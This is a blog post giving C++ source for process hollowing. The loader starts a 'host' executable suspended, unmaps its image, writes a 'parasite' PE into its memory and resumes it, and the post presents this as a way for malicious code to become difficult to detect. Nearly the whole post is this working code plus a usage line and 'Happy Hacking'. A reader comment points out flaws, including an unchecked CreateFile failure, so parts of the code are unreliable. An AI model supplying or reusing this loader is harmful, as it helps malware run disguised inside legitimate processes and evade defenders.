Sunday 19 May 2013

I guess you already know about parasites: an organism that lives on or in a host and gets its food from or at the expense of its host. Similar story is possible in computer as well: a malicious executable can run inside another innocent process, and thus, becomes difficult to detect. Assuming that you already know about process memory, memory layout, execution etc. we should come to the code.





Software Requirements
Windows SDK
Any C++ Compiler

LPBYTE GetFile(char *filePath)
{
    LPBYTE data = NULL;
    HANDLE h = CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (h)
    {
        DWORD fSize = GetFileSize(h, NULL);
        data = new BYTE[fSize];

        DWORD read = NULL;
        ReadFile(h, data, fSize, &read, NULL);

        CloseHandle(h);
    }
    return data;
}


The above code reads any given file and returns its contents as byte array, which is processed and finally launched as shown below:

void DoStuff(char *file, char *victimFile)
{
    LPBYTE data = GetFile(file);
    if (data)
    {
        PIMAGE_DOS_HEADER idh = (PIMAGE_DOS_HEADER)data;
        if (idh->e_magic == IMAGE_DOS_SIGNATURE)
        {
            PIMAGE_NT_HEADERS inh = (PIMAGE_NT_HEADERS)(data + idh->e_lfanew);
            if (inh->Signature == IMAGE_NT_SIGNATURE)
            {   
                PROCESS_INFORMATION pi;
                STARTUPINFOA si;

                ZeroMemory(&pi, sizeof(pi));
                ZeroMemory(&si, sizeof(si));
                si.cb = sizeof(si);

                pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
               
                if (CreateProcessA(NULL, victimFile, NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
                {
                    CONTEXT c;
                    c.ContextFlags = CONTEXT_FULL;
                    if (GetThreadContext(pi.hThread, &c))
                    {
                        DWORD imageBase = NULL;
                        ReadProcessMemory(pi.hProcess, (LPCVOID)(c.Ebx + 8), &imageBase, sizeof(DWORD), NULL);

                        if (imageBase == inh->OptionalHeader.ImageBase)
                        {
                            NtUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
                        }

                        LPVOID address = VirtualAllocEx(pi.hProcess, (LPVOID)inh->OptionalHeader.ImageBase, inh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                        if (address)
                        {
                            // address == inh->OptionalHeader.ImageBase;
                            WriteProcessMemory(pi.hProcess, address, data, inh->OptionalHeader.SizeOfHeaders, NULL);
                            for (int i = 0; i < inh->FileHeader.NumberOfSections; i++)
                            {
                                int offset = idh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i);
                                PIMAGE_SECTION_HEADER ish = (PIMAGE_SECTION_HEADER)(data + offset);

                                WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)address + ish->VirtualAddress), data + ish->PointerToRawData, ish->SizeOfRawData, NULL);
                            }

                            WriteProcessMemory(pi.hProcess, (LPVOID)(c.Ebx + 8), &inh->OptionalHeader.ImageBase, sizeof(DWORD), NULL);
                            c.Eax = (DWORD)address + inh->OptionalHeader.AddressOfEntryPoint;
                            SetThreadContext(pi.hThread, &c);
                           
                            ResumeThread(pi.hThread);
                        }
                    }
                }
            }
        }

        delete data;
    }
}
 


pNtUnmapViewOfSection  is simply a typedef as shown below:

typedef NTSTATUS (WINAPI* pNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

Now you can launch any "parasite" process into "host" process:

DoStuff("C:\\parasite.exe", "C:\\host.exe");


Enjoy!!

Happy Hacking..Keep Rocking!!

1 comments:

  1. >> "becomes difficult to detect"

    I don't see the part where you actually skip writing or wipe the PE header, not to mention the implementation is quite shit and wrong. You have to check if CreateFile return INVALID_HANDLE_VALUE.

    ReplyDelete